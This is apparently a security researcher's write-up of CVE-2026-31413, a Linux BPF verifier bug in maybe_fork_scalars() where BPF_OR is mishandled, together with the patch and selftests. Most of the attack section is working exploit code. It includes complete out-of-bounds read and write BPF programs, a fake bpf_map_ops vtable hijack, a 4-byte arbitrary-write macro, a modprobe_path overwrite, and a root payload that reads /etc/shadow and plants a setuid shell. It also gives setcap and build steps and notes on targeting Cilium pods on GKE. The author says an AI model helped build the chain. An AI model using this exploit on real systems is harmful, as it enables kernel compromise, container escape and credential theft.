
CVE-2026-31413: bug de solidez do verificador BPF - escape de contêiner
Encontrei um bug de solidez no verificador BPF do Linux - um + 1 em uma chamada push_stack() que faz o verificador pular uma instrução ALU em um caminho bifurcado. Para BPF_OR, isso significa que o verificador rastreia dst = 0 enquanto a CPU calcula 0 | K = K. Escrevi um escape de contêiner completo: leitura/escrita fora dos limites (OOB) a partir de um mapa BPF, sequestro de vtable, sobrescrita de modprobe_path, root no host. Em seguida, criei uma série de dois patches - uma correção de um caractere no verificador e 90 linhas de selftests - e consegui mesclá-la no mainline.
📹 Vídeo de demonstração do escape de contêiner
| CVE | CVE-2026-31413 |
| Classe do bug | Solidez do verificador - divergência de valor de registrador |
| Causa raiz | push_stack(env, env->insn_idx + 1, ...) pula instrução ALU no caminho bifurcado |
| Introduzido | bffacdb80b93 - Linux 7.0-rc1 (Jan 14, 2026) |
| Corrigido | c845894ebd6f - Linux 7.0-rc5 (Mar 22, 2026) |
| Afetado | 6.12.75+ (backport estável dea9989a3f) até 7.0-rc4 |
| Impacto | R/W arbitrário no kernel → escape de contêiner → root no host |
| Requerido | CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN |
| Correção | Um caractere: insn_idx + 1 → insn_idx |
maybe_fork_scalars() bifurca o estado do verificador quando vê ARSH + AND/OR com uma constante. O caminho empurrado recebe dst = 0 e pula a instrução ALU. Para AND isso é válido: 0 & K = 0. Para OR está errado: 0 | K = K, não 0.
O verificador pensa que o registrador é zero. A CPU tem K. Usei isso para construir leitura/escrita OOB arbitrária a partir de um valor de mapa BPF, vazei o endereço de kernel do mapa, construí uma vtable bpf_map_ops falsa, redirecionei map_push_elem através de array_map_get_next_key para escrita arbitrária e sobrescrevi modprobe_path. Ao disparar um formato binário desconhecido, o kernel executa meu script como root. Em um contêiner, escape completo do host.
Série de dois patches: uma correção de um caractere no verificador mais 90 linhas de selftests BPF cobrindo OR vs bifurcação AND. Mesclada por Alexei Starovoitov em 22 de março. CVE-2026-31413 atribuída por Greg Kroah-Hartman em 12 de abril.
eBPF permite carregar pequenos programas no kernel - filtros de pacotes, hooks de rastreamento, políticas de segurança - sem compilar um módulo de kernel. O problema é que você está injetando código no ring 0. Se esse código tiver um bug, é um bug do kernel.
Então, antes de qualquer programa BPF executar, o verificador do kernel simula todos os possíveis caminhos de execução. Ele rastreia o que cada registrador contém (um ponteiro? um escalar? qual intervalo?), verifica cada acesso à memória em relação aos limites do mapa e rejeita qualquer coisa que possa ler ou escrever fora dos limites. Se o verificador diz que um programa é seguro, o JIT o compila para código de máquina nativo e o executa com privilégio total de kernel. Não há verificações de limites em tempo de execução depois desse ponto. O verificador é o limite de segurança.
É por isso que bugs de solidez do verificador são diferentes de corrupção de memória normal. Com um heap overflow ou UAF, você obtém uma primitiva de corrupção e precisa trabalhar a partir dela - fazer spray no heap, preparar objetos, disputar uma janela. Com um bug de verificador, você faz o kernel acreditar em uma mentira sobre o valor de um registrador. Toda verificação de limites que depende desse registrador passa. O kernel aprovou seu acesso OOB. Ele o executa sem questionar. Se você conseguir alinhar o estado do registrador corretamente, obtém uma primitiva limpa e confiável a partir disso.
Eu estava auditando maybe_fork_scalars() - código novo, adicionado em janeiro de 2026 em bffacdb80b93. A bifurcação de estado é sempre interessante porque é onde o verificador se divide em caminhos de exploração paralelos, e se qualquer caminho rastreia um valor incorreto, tudo a jusante desse caminho fica não sólido.
A função bifurca quando vê ARSH + AND/OR com uma fonte constante. O caminho empurrado recebe dst = 0 e pula a instrução ALU. Eu estava lendo a linha push_stack(env, env->insn_idx + 1, ...) e caiu a ficha na hora - o + 1 significa que o caminho empurrado nunca executa a operação ALU. Para AND, 0 & K = 0, então pular é válido. Para OR, 0 | K = K. O caminho empurrado pensa que o resultado é 0 quando na verdade é K.
Escrevi um programa BPF naquela noite. ARSH 63 para obter {0, -1}, OR com uma constante, desvio condicional para separar os caminhos do verificador, e então adicionei o registrador "zero" a um ponteiro de mapa. O verificador aprovou map_value + 0. A CPU acessou map_value + K. O KASAN confirmou o acesso fora dos limites nos testes.
Leitura/escrita OOB na manhã seguinte. Escape de contêiner na noite seguinte. Usei Claude (Opus 4.5) durante todo o processo - para analisar a lógica de bifurcação de estado do verificador, gerar ideias de primitivas de exploração e transformar o OOB em uma cadeia completa de escape. A abordagem de sequestro de vtable surgiu de uma troca em que Claude percorreu os ponteiros de função de bpf_map_ops procurando gadgets chamáveis.
O commit bffacdb80b93 ("bpf: Recognize special arithmetic shift in the verifier") foi incorporado em 14 de janeiro de 2026 no 7.0-rc1. Alexei Starovoitov, co-desenvolvido por Puranjay Mohan. Ele adicionou maybe_fork_scalars() para lidar com um padrão do DAGCombiner do LLVM:```
w2 s>>= 31 // arithmetic shift right: w2 becomes 0 or -1
w2 &= -134 // AND with constant K
LLVM converte `select_cc setlt X, 0, A, 0` em `sra + and`. Após o deslocamento
aritmético para a direita, o registrador é ou `0` (entrada não negativa) ou `-1` (todos os bits em 1).
O AND com uma constante resulta em `0` ou `K`.
O verificador não consegue rastrear `{0, K}` em um único `bpf_reg_state` — seu intervalo com sinal
`[0, K]` é uma superaproximação, e isso estava fazendo com que ele rejeitasse programas Cilium
válidos. A correção: bifurcar o estado do verificador. Um caminho explora `dst = 0`, o
outro `dst = -1`, cada um rastreando o valor preciso.
A implementação:```c
static int maybe_fork_scalars(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg)
{
// ... condition check: dst range is [-1, 0], src is constant ...
branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
// ^^^^^^^^^^^^
// pushed path resumes AFTER the ALU insn
if (IS_ERR(branch))
return PTR_ERR(branch);
regs = branch->frame[branch->curframe]->regs;
__mark_reg_known(®s[insn->dst_reg], 0); // pushed: dst = 0
__mark_reg_known(dst_reg, -1ull); // current: dst = -1
return 0;
}
Duas coisas acontecem no caminho empurrado:
0insn_idx + 1 - a instrução após a operação ALUPara BPF_AND: dst = 0, pula a operação AND. Em tempo de execução: 0 & K = 0. Correspondência. Sólido.
Para BPF_OR: dst = 0, pula a operação OR. Em tempo de execução: 0 | K = K. Divergência.
O verificador vê 0. A CPU tem K. Não sólido.
A função não verifica o opcode. Ela foi escrita para AND - onde pular
a instrução é o mesmo que executá-la com dst = 0 - e foi aplicada também a
OR. Para OR, essa equivalência não se sustenta.
O padrão de acionamento é de cinco instruções:``` r6 = (u64)(map_value + 0) // load a positive value (guaranteed by map init) r6 s>>= 63 // arithmetic shift: r6 = 0 (positive input) r6 |= K // BUG: verifier forks, pushed path gets r6=0 if r6 s< 0 goto exit // steers verifier paths r9 += r6 // verifier: r9 += 0 (in-bounds) // runtime: r9 += K (OOB)
O verificador explora dois caminhos:
**Caminho atual** (`dst = -1`): O OR executa, `-1 | K` continua sendo `-1`. O
ramo `r6 s< 0` é tomado. O verificador segue a saída. Este caminho é seguro e
o verificador o confirma.
**Caminho empurrado** (`dst = 0`, OR ignorado): `r6 = 0`. O ramo `r6 s< 0` não é
tomado. O verificador cai para `r9 += r6`, vê `r9 += 0` e aprova o
acesso à memória subsequente como dentro dos limites.
**Tempo de execução** (`dst = 0`, OR executa): O valor do mapa é positivo, então após ARSH,
`r6 = 0`. O OR executa: `0 | K = K`. O ramo `K s< 0` não é tomado (K é
positivo). `r9 += K` - um acesso fora dos limites por `K` bytes, aprovado pelo
verificador como `r9 += 0`.
Eu controlo `K`. Leitura ou escrita OOB com deslocamento arbitrário, relativo a qualquer valor
de mapa BPF.
A versão de leitura armazena os dados vazados em um segundo mapa para recuperação
pelo espaço do usuário. A versão de escrita carrega um valor de um terceiro mapa e o escreve no
deslocamento OOB. Ambas passam pelo verificador.
Aqui está o `oob_read_prog` completo - este é o código real do exploit, não
pseudocódigo:```c
static int oob_read_prog(int map_fd, int dst_fd, int offset)
{
int K = -offset;
struct bpf_insn insn[] = {
/* look up map_fd[0] → R0 = pointer to value, load seed into R6 */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), /* map_lookup_elem */
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_LDX_MEM(BPF_DW, R6, R0, 0), /* R6 = seed (positive) */
/* look up dst_fd[0] → R9 = pointer to output buffer */
BPF_LD_MAP_FD(R1, dst_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R9, R0),
/* look up map_fd[0] again → R8 = base pointer for OOB access */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R8, R0),
/* === THE BUG === */
BPF_ALU64_IMM(BPF_ARSH, R6, 63), /* R6 = 0 (positive seed) */
BPF_ALU64_IMM(BPF_OR, R6, K), /* verifier: R6=0, runtime: R6=K */
BPF_MOV64_IMM(R7, 0),
BPF_ALU64_REG(BPF_SUB, R7, R6), /* R7 = -K = offset */
BPF_ALU64_REG(BPF_ADD, R8, R7), /* R8 = map_value + offset (OOB) */
BPF_LDX_MEM(BPF_DW, R0, R8, 0), /* OOB read: 8 bytes */
BPF_STX_MEM(BPF_DW, R9, R0, 0), /* store to output map */
BPF_MOV64_IMM(R0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}
E a escrita OOB - mesmo truque ARSH+OR, mas escreve um valor de um terceiro mapa no offset OOB:```c static int oob_write_prog(int map_fd, int val_fd, int offset) { int K = -offset; struct bpf_insn insn[] = { /* look up map_fd[0], load seed, trigger the bug / BPF_LD_MAP_FD(R1, map_fd), BPF_ST_MEM(BPF_W, R10, -4, 0), BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4), BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), BPF_JMP_IMM(BPF_JEQ, R0, 0, 20), BPF_MOV64_REG(R9, R0), BPF_LDX_MEM(BPF_DW, R6, R9, 0), / R6 = seed */
BPF_ALU64_IMM(BPF_ARSH, R6, 63), /* R6 = 0 */
BPF_ALU64_IMM(BPF_OR, R6, K), /* R6 = K (verifier: 0) */
BPF_JMP_IMM(BPF_JSLT, R6, 0, 13), /* skip if negative (verifier path) */
BPF_MOV64_IMM(R7, 0),
BPF_ALU64_REG(BPF_SUB, R7, R6), /* R7 = -K */
BPF_ALU64_REG(BPF_ADD, R9, R7), /* R9 = OOB target */
/* look up val_fd[0] → R8 = value to write */
BPF_LD_MAP_FD(R1, val_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JEQ, R0, 0, 4),
BPF_LDX_MEM(BPF_DW, R8, R0, 0), /* R8 = write value */
BPF_STX_MEM(BPF_DW, R9, R8, 0), /* OOB write */
BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 2),
BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}
Para acionar qualquer um dos programas, eu o anexo a um par de sockets e empurro um pacote através:```c
static int trigger_bpf_prog(int prog_fd)
{
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0) return -1;
setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd));
char buf[64] = "x";
write(socks[1], buf, sizeof(buf));
struct timeval tv = { .tv_sec = 1 };
setsockopt(socks[0], SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
read(socks[0], buf, sizeof(buf));
close(socks[0]); close(socks[1]);
return 0;
}
O padrão negar-e-somar (R7 = 0 - R6; R8 += R7) nos permite alcançar offsets
negativos a partir do valor do mapa - que é onde os próprios metadados do mapa vivem.
A cadeia completa:``` BPF_OR divergence (verifier: dst=0, runtime: dst=K) │ ▼ Arbitrary OOB read/write relative to map value │ ├── Read offset -136 → leak freeze_mutex.wait_list → map kernel address ├── Read offset -264 → leak ops vtable → confirm array_map_ops │ ▼ Build fake bpf_map_ops vtable in map value (42 slots from kallsyms) → slot 15 (map_push_elem) = array_map_get_next_key │ ▼ Corrupt map header via OOB writes → ops → fake vtable → map_type → BPF_MAP_TYPE_QUEUE (22) → max_entries → 0xFFFFFFFF │ ▼ bpf(BPF_MAP_UPDATE_ELEM) dispatches through map_push_elem → array_map_get_next_key(map, value, flags) → writes (u32)value + 1 to (u32)flags → flags = attacker-controlled kernel address │ ▼ Overwrite modprobe_path → "/tmpn/mo" │ ▼ Exec unknown binary format → kernel runs /tmpn/mo as root │ ▼ Restore map header → clean exit
### O Layout Alvo
Um `BPF_MAP_TYPE_ARRAY` é suportado por `struct bpf_array`, que incorpora
`struct bpf_map` no offset 0. Os valores reais do mapa começam no offset 264 (após
o cabeçalho `bpf_array` + alinhamento). Assim, a partir de `value[0]`, os metadados
do próprio mapa ficam em offsets negativos conhecidos:```
struct bpf_map (embedded in bpf_array)
┌────────────────────────────────────────┐
offset from val[0] │ │
-264 │ ops (struct bpf_map_ops *) │ ← vtable pointer
-240 │ map_type (u32) │
-236 │ key_size (u32) │
-232 │ value_size (u32) │
-228 │ max_entries (u32) │
│ ... │
-136 │ freeze_mutex.wait_list │ ← points back into struct
│ ... │
0 │ value[0] ← our OOB origin │
└────────────────────────────────────────┘
Verifiquei isso com pahole no vmlinux 6.12.76-docker. No kernel
testado, os offsets correspondiam exatamente.
Duas leituras OOB me dão tudo o que preciso:
wait_list no offset -136. Este é freeze_mutex.wait_list, um
list_head que aponta para si mesmo quando o mutex não está disputado. Seu valor
é &map->freeze_mutex.wait_list - um ponteiro de kernel para a estrutura do mapa.
Subtraio 128 e tenho o endereço base do mapa. Adiciono 264 e tenho o endereço
de kernel de value[0].
ops no offset -264. Este é o ponteiro da vtable bpf_map_ops. Em um
kernel não modificado, ele aponta para o símbolo global array_map_ops. Eu o leio para
confirmar se o kernel não está patchado e para obter o endereço da vtable para clonagem.```c
uint64_t wait_list = do_oob_read(victim, scratch, OFF_WAIT_LIST);
uint64_t map_addr = wait_list - 128;
uint64_t val_addr = map_addr + 264;
uint64_t ops = do_oob_read(victim, scratch, OFF_OPS); if (ops != ARRAY_MAP_OPS) { fprintf(stderr, "[-] ops mismatch! Kernel might be patched.\n"); return 1; }
Neste ponto, tenho: o endereço do kernel do mapa, o endereço dos meus
dados controlados (`value[0]`) e o ponteiro de vtable confirmado.
### Passo 2: Vtable Falsa
`bpf_map_ops` tem 42 slots de ponteiros de função. Se eu apenas zerar os que não
preciso, o kernel sofrerá um NULL-deref na primeira vez que tocar em um deles. Então, resolvo
todos os símbolos de `/proc/kallsyms` e construo uma cópia completa:```c
uint64_t *vt = (uint64_t *)(val + 8); // offset 8 in value (slot 0 is seed)
vt[ 0] = sym_alloc_check; // map_alloc_check
vt[ 1] = sym_alloc; // map_alloc
vt[ 2] = 0; // map_release (unused path)
vt[ 3] = sym_free; // map_free
vt[ 4] = sym_get_next_key; // map_get_next_key
// ...
vt[12] = sym_lookup_elem; // map_lookup_elem
vt[13] = sym_update_elem; // map_update_elem
vt[14] = sym_delete_elem; // map_delete_elem
vt[15] = ARRAY_GET_NEXT_KEY; // map_push_elem ← THE HIJACK
// ...
vt[40] = sym_mem_usage; // map_mem_usage
O slot 15 é map_push_elem. No array_map_ops real, isso é NULL (arrays não suportam push). Eu o substituo por array_map_get_next_key.
Por que get_next_key? Sua assinatura é:```c
int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
Ele lê `*(u32 *)key`, incrementa-o e escreve o resultado em `*(u32
*)next_key`. Quando chamado pelo caminho de despacho `map_push_elem`:```c
int bpf_map_push_elem(struct bpf_map *map, void *value, u64 flags)
→ map->ops->map_push_elem(map, value, flags)
O argumento flags cai no parâmetro next_key. Se eu controlar flags, eu
controlo o destino da escrita. O valor escrito é *(u32 *)value + 1 - um
pequeno inteiro que posso prever definindo os primeiros 4 bytes do meu buffer de push.
Antes de poder usar a vtable falsa, preciso redirecionar o mapa para ela e mudar
seu tipo para que o kernel despache por meio de map_push_elem. Três escritas OOB,
executadas em ordem:```c
// Point ops at my fake vtable (lives at val_addr + 8)
exec_oob_write(prog_wr_ops, scratch, val_addr + 8);
// Disable max_entries bounds check exec_oob_write(prog_wr_max, scratch, 0xFFFFFFFFULL);
// Change map_type to BPF_MAP_TYPE_QUEUE (22) exec_oob_write(prog_wr_type, scratch, 22ULL);
A mudança de tipo é crítica. Quando o espaço do usuário chama `bpf(BPF_MAP_UPDATE_ELEM)` em um array map, o kernel faz o despacho via `map_update_elem`. Mas em um queue map, a mesma syscall faz o despacho via `map_push_elem` — que agora aponta para `array_map_get_next_key`.
Eu pré-carrego todos os seis programas BPF (três escritas + três restaurações) *antes* de corromper qualquer coisa. Assim que eu corromper o ponteiro `ops`, não posso carregar novos programas BPF que referenciem este map — o verificador seguiria a vtable falsa e travaria. Tudo precisa ser preparado antecipadamente.
### Passo 4: Escrita Arbitrária via map_push_elem
Agora posso escrever 4 bytes em qualquer endereço do kernel:```c
#define ARB_WRITE32(addr, val32) do { \
uint32_t _v = (val32); \
uint32_t _pv = _v - 1; \
memset(push_buf, 0, sizeof(push_buf)); \
memcpy(push_buf, &_pv, 4); \
map_push(victim, push_buf, (addr)); \
} while(0)
map_push() chama bpf(BPF_MAP_UPDATE_ELEM) com flags = addr. O kernel
despacha para o meu map_push_elem sequestrado → array_map_get_next_key(map, push_buf, addr). Ele lê *(u32 *)push_buf (que é val - 1), soma 1 e
escreve val em *(u32 *)addr.
A primitiva de escrita é uma gravação u32 de 4 bytes via get_next_key. Não há
restrições de alinhamento - o kernel realiza um *(u32 *)addr = val normal em
qualquer endereço que fornecermos.
modprobe_path é um char[256] global no kernel, com valor padrão /sbin/modprobe.
Quando o kernel encontra um executável com um número mágico desconhecido, ele invoca
modprobe_path como root para carregar o módulo apropriado. Sobrescreva-a com um caminho
que eu controlo, acione um formato binário desconhecido, e o kernel executa meu script como
root.
O caminho alvo é /tmpn/mo. Não consigo escrever strings arbitrárias - escrevo 4 bytes
por vez por meio do incremento inteiro do get_next_key. Mas só preciso de duas escritas:```c
// Original: "/sbin/modprobe\0"
// Write "/tmp" at offset 0:
ARB_WRITE32(MODPROBE_PATH + 0, 0x706d742fU); // "/tmp" little-endian
// Write "\0\0\0\0" at offset 8 (null-terminate):
ARB_WRITE32(MODPROBE_PATH + 8, 0x00000000U);
// Bytes 4-7 are untouched: "n/mo" from original "/sbin/modprobe"
// Result: "/tmpn/mo\0"
Em modo contêiner, `modprobe_path` resolve no namespace de montagem do init — não
no do contêiner. Portanto, o script do payload precisa existir em `/tmpn/mo` no host.
Com `--pid=host` ou um namespace de PID compartilhado, eu alcanço o sistema de arquivos do host através
de `/proc/1/root/`:```c
snprintf(payload_script, sizeof(payload_script), "/proc/1/root/tmpn/mo");
Em um ataque real, o exploit grava o payload em /tmpn/mo no host via /proc/1/root/tmpn/mo (acessível quando o pod tem um namespace de PID compartilhado, como é padrão para sidecars de service mesh como Cilium e agentes de monitoramento como Falco). A demo simplifica essa etapa: o orquestrador pré-positiona o payload no host para que o exploit precise apenas disparar a execução.
O exploit cria o binário de gatilho - 4 bytes de \xff - e o executa. O kernel não reconhece o formato, consulta modprobe_path, encontra /tmpn/mo e o executa como root.
O payload:```sh #!/bin/sh id > /tmp/pwned cat /etc/shadow >> /tmp/pwned 2>/dev/null cp /bin/sh /tmp/pwn 2>/dev/null && chmod 04755 /tmp/pwn 2>/dev/null
### Passo 6: Limpeza
Após a escrita do `modprobe_path`, restauro o cabeçalho do mapa - type, max_entries,
ops - usando os três programas de restauração pré-carregados. O mapa volta a ser um
array normal. Sem vtable falsa pendurada, sem instabilidade do kernel. O exploit é
de tiro único e deixa um estado limpo.```c
exec_oob_write(prog_rst_type, scratch, orig_type_key);
exec_oob_write(prog_rst_max, scratch, orig_max);
exec_oob_write(prog_rst_ops, scratch, orig_ops);
No meu ambiente de demonstração, toda a cadeia, desde a primeira leitura OOB até o shell root, levou apenas alguns segundos.
Além do escape de contêiner principal, construí uma série de níveis de exploit independentes
que demonstram diferentes capacidades de pós-exploração a partir da mesma
primitiva. Cada nível é um arquivo C autocontido em exploit/ que usa a
biblioteca auxiliar compartilhada exploit_common.h para a configuração de leitura/escrita OOB ARSH+OR.
Todos os níveis restauram todas as modificações antes de sair. Testado em 6.12.76.
make # builds everything (PoCs + exploits + tiers) make setcaps # sets required capabilities on all binaries
Ou individualmente:```bash
gcc -O2 -Wall -static -I. -o exploit/tier2_cred_overwrite exploit/tier2_cred_overwrite.c
sudo setcap cap_bpf,cap_perfmon,cap_net_admin,cap_syslog+ep exploit/tier2_cred_overwrite
Cada nível requer CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN + CAP_SYSLOG.
├── exploit/ │ ├── exploit_common.h # Shared primitives (OOB R/W, arb R/W, ksym) │ ├── exploit.c # Core container escape (modprobe_path) │ ├── exploit_gke.c # GKE/kCTF variant (v1: vtable hijack + modprobe_path) │ ├── exploit_gke_v2.c # v2: data-only cred overwrite (recommended) │ └── tier2-10_.c # Post-exploitation tiers (see table above) ├── poc/ │ ├── validate_bug.c # Minimal verifier bug trigger │ ├── test_oob.c # OOB access proof │ ├── leak_map_addr.c # Map address leak │ └── step1-3_.c # Incremental exploit development ├── patches/ │ └── *.patch # Fix + selftests (v3) ├── demo/ │ ├── container_escape_demo.mp4 # Full demo video │ ├── Dockerfile # Vulnerable container │ └── demo_escape.sh # Demo orchestrator ├── bpf_helpers.h # BPF syscall wrappers └── Makefile
---
## Quem é Afetado
O exploit requer `CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN`. Você não obtém isso
de um container sem privilégios ou de uma conta de usuário normal em um sistema
endurecido. Mas há muitos contextos em que você tem essas caps.
### Sistemas BPF sem privilégios
Se `kernel.unprivileged_bpf_disabled=0` (verifique com `sysctl`), qualquer usuário
local pode carregar programas BPF. Isso costumava ser o padrão em distribuições
mais antigas e às vezes é habilitado para ambientes de dev/teste. Nesses sistemas,
isso é uma escalada de privilégio local direta — de qualquer usuário para root,
sem permissões especiais necessárias.
Quase todas as distros modernas vêm com `unprivileged_bpf_disabled=1` ou `=2`
(bloqueado), então esse caminho está fechado em instalações padrão do Ubuntu
22.04+, Debian 12+, Fedora, RHEL 9, etc.
### Ambientes Kubernetes / Container
É aqui que o bug dói. Containers padrão sem privilégios removem `CAP_BPF`, então
não conseguem acionar o bug. Mas muitos pods de infraestrutura rodam com caps
elevados:
| Produto | Privilégios Padrão | Observações |
|---------|-------------------|-------|
| **Cilium** (GKE Dataplane V2) | `CAP_SYS_ADMIN` + `CAP_NET_ADMIN` | Network policy, roda em todos os nós |
| **Falco** | `privileged: true` | Segurança em runtime, monta /dev |
| **Tetragon** | `privileged: true` | Observabilidade eBPF |
| **Datadog Agent** | `CAP_SYS_ADMIN` + mais 7 | Métricas, logs, APM |
| **Pixie** | `privileged: true` | Observabilidade baseada em eBPF |
| **Tracee** | `privileged: true` ou caps de BPF | Segurança em runtime da Aqua |
Eles normalmente rodam como DaemonSets — um pod por nó, em todo o cluster. Se um
atacante comprometer qualquer um desses pods (RCE em um serviço web no mesmo nó,
ataque à cadeia de suprimentos, SSRF para uma API de agente, etc.), ele terá as
caps necessárias para executar esse exploit e escapar para o root do host.
**Aviso importante:** O exploit só funciona em kernels que contenham o código
vulnerável (6.12.75-6.12.79, 6.18.x-6.18.20, 6.19.x-6.19.10, 7.0-rc1 a rc4). A
maioria dos clusters K8s de produção roda kernels LTS mais antigos. Verifique a
versão do kernel do seu nó com `uname -r` antes de presumir que é explorável.
A partir do root do host em um nó, o movimento lateral para outros nós geralmente
é possível através do mesmo DaemonSet (contas de serviço compartilhadas, segredos
montados, etc.).
### Kubernetes Gerenciado (GKE, EKS, AKS)
O Google GKE usa Cilium como Dataplane V2 por padrão. Se os nós do GKE rodarem
um kernel 6.12.x sem patch (verifique a versão do seu node pool), qualquer
comprometimento de um pod Cilium vira root do host e tomada do nó. Eu construí
o exploit especificamente para esse cenário — por isso se chama `exploit_gke.c`.
Amazon EKS e Azure AKS também são potencialmente afetados se estiverem rodando
kernels 6.12.x com Cilium ou redes similares baseadas em BPF. É preciso verificar
as versões específicas das imagens de AMI/VM.
### Android
O Android usa eBPF para contabilização de tráfego de rede (netd), perfilamento
de energia e rastreamento de memória. Dispositivos Android atuais (14/15) usam
kernels 6.1 LTS, que **não são afetados**. O Android 16 pode adotar o 6.12 LTS —
se adotar, e se o backport vulnerável for incluído, a superfície de ataque seriam
serviços de sistema como `netd` e `system_server` que carregam programas BPF.
Isso é especulativo e depende da linha do tempo de adoção de kernel do Android.
Eu registrei no Android VRP para acompanhamento.
### Containers com kernel compartilhado (LXC/LXD)
Containers de sistema que compartilham o kernel do host (diferente de VMs) estão
totalmente expostos. Comprometer o kernel compartilhado = comprometer o host +
todos os outros containers nele. Isso é diferente de Docker/containerd, onde
você está escapando para um host que pode, ele mesmo, ser uma VM.
### Do que ele não escapa
Este é um bug do kernel convidado, não uma fuga do hypervisor. Se você executar
o exploit dentro de uma instância EC2, você obtém root nessa instância — você
não escapa do hypervisor Nitro para o host físico ou para outros tenants. O mesmo
vale para GCE, VMs Azure, KVM, etc. A fronteira de hardware se mantém.
### Kernels afetados
| Branch | Afetados | Corrigidos |
|--------|----------|-------|
| 6.12.y (LTS) | `dea9989a3f` até 6.12.79 | 6.12.80+ |
| 6.18.y | `4c122e8ae149` até 6.18.20 | 6.18.21+ |
| 6.19.y | `e52567173ba8` até 6.19.10 | 6.19.11+ |
| mainline | 7.0-rc1 até 7.0-rc4 | 7.0-rc5+ |
Commit que introduziu: `bffacdb80b93` ("bpf: Recognize special arithmetic shift in the verifier")
Commit de correção: `c845894ebd6f`
`CAP_BPF` não é uma capability segura. Um bug no verifier a converte em
leitura/escrita arbitrária do kernel. Produtos que a concedem a pods de workload
devem tratá-la como `CAP_SYS_ADMIN`.
---
## A Correção
Um caractere:```diff
- branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
+ branch = push_stack(env, env->insn_idx, env->insn_idx, false);
Em vez de empurrar o ramo para insn_idx + 1 (pulando a instrução ALU),
empurre para insn_idx - a própria instrução. O caminho empurrado reexecuta a
operação ALU com dst = 0:
0 & K = 0 ✓0 | K = K ✓A abordagem original era engenhosa - pular a instrução e codificar o resultado,
economizando um passo do verificador no caminho empurrado. Mas essa otimização só
funciona quando o resultado de executar a instrução com dst = 0 é zero. Isso
é verdade para AND e falso para OR. A correção abandona a otimização: basta
executar a instrução novamente e deixar o verificador calcular o valor correto
para qualquer opcode.
Passei por três revisões do patch:
opcode a maybe_fork_scalars() e defini
dst = K para OR, dst = 0 para AND no caminho empurrado. Funcionava, mas
adicionava complexidade.insn_idx em vez de insn_idx + 1. Mais simples, independente de opcode,
elimina toda a classe de bugs de pular-vs-executar.Mesclado como c845894ebd6f em 22 de março por Alexei Starovoitov. Selftests em
0ad1734cc559. Revisado por Eduard Zingerman, aprovado por Amery Hung.
Os selftests cobrem três casos:
or_scalar_fork_rejects_oob - ARSH 63 + OR 8, value_size=8, acesso no
deslocamento 8 é OOB → deve rejeitarand_scalar_fork_still_works - teste de regressão, o caminho AND ainda aceitaor_scalar_fork_allows_inbounds - OR 4, value_size=8, deslocamento 4 está
dentro dos limites → deve aceitarLinus mesclou d5273fd3ca0b ("Merge tag 'bpf-fixes'") com a nota: "Corrigir
fork escalar não sólido para instruções OR (Daniel Wade)".
c845894ebd6f ("bpf: Fix unsound scalar forking in maybe_fork_scalars() for BPF_OR")0ad1734cc559 ("selftests/bpf: Add tests for maybe_fork_scalars() OR vs AND handling")bffacdb80b93 ("bpf: Recognize special arithmetic shift in the verifier")Aviso de isenção: Este código de exploit é publicado para fins educacionais e de pesquisa defensiva após divulgação responsável e mesclagem do patch. Não o use contra sistemas que você não possui ou que não tenha autorização explícita para testar. O autor não é responsável pelo uso indevido.
CVE-2026-31413 - Corrigido no Linux 7.0-rc5. Afetados: 6.12.75+ (backport estável) até 7.0-rc4.
Daniel Wade - GitHub · Twitter/X · Bluesky · Mastodon · Medium · nadsec.online
| Nível | Arquivo | Capacidade |
|---|
| 1 | exploit.c / exploit_gke.c | Escape de contêiner - sequestro de vtable + sobrescrita de modprobe_path (o exploit principal descrito acima) |
| v2 | exploit_gke_v2.c | Sobrescrita de cred somente de dados - sem sequestro de vtable, sem modprobe_path, sem interação com o sistema de arquivos. Detecta automaticamente o layout de task_struct. Janela zero de corrupção de mapa. O exploit recomendado. |
| 2 | tier2_cred_overwrite.c | Sobrescrita direta de credenciais - percorrer a cadeia task_struct, encontrar a tarefa atual, zerar uid/gid/caps em struct cred para root instantâneo |
